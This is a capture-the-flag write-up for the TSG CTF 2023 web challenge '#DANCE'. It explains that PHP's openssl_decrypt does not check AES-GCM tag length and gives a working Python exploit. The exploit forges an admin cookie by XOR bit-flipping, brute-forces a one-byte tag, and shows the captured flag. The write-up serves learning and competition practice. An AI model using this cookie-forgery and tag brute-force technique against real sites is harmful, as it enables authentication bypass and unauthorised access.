# TSG CTF 2023 - web/#DANCE
- 17 solves / 221 pts- Author: jiei_univ
`openssl_decrypt`:
> **Caution** The length of the tag is not checked by the function. It is the caller's responsibility to ensure that the length of the tag matches the length of the tag retrieved when openssl_encrypt() has been called. Otherwise the decryption may succeed if the given tag only matches the start of the proper tag.>> https://www.php.net/manual/en/function.openssl-decrypt.php
This challenge does not check the length of the tag in AES-GCM.
You can do a brute-force attack:
- FYI (Japanese): https://www.mbsd.jp/research/20200901/aes-gcm/
## Exploit
```pythonimport httpximport base64import urllib.parse
# BASE_URL = "http://localhost:8080"BASE_URL = "http://34.84.176.251:8080"
res = httpx.post(    BASE_URL,    data={        "auth": "guest",    },)assert res.status_code == 302
guest_auth = urllib.parse.unquote(res.cookies["auth"])iv = urllib.parse.unquote(res.cookies["iv"])tag = urllib.parse.unquote(res.cookies["tag"])
def xor(xs: bytes, ys: bytes) -> bytes:    return bytes([x ^ y for x, y in zip(xs, ys)])
admin_auth = base64.b64encode(    xor(base64.b64decode(guest_auth), xor(b"guest", b"admin"))).decode()
for i in range(256):    tag2 = base64.b64encode(bytes([i])).decode()    res = httpx.get(        f"{BASE_URL}/mypage.php",        cookies={            "auth": admin_auth,            "iv": iv,            "tag": tag2,        },    )    if "TSGCTF{" in res.text:        print(res.text)        break```
```html$ python exploit.py
<html>    <head>
    </head>    <body>        Hello admin! Password is here.TSGCTF{Deadlock_has_been_broken_with_Authentication_bypass!_Now,_repair_website_to_reject_rewritten_CookiE.}        </body></html>```
## Flag
```TSGCTF{Deadlock_has_been_broken_with_Authentication_bypass!_Now,_repair_website_to_reject_rewritten_CookiE.}```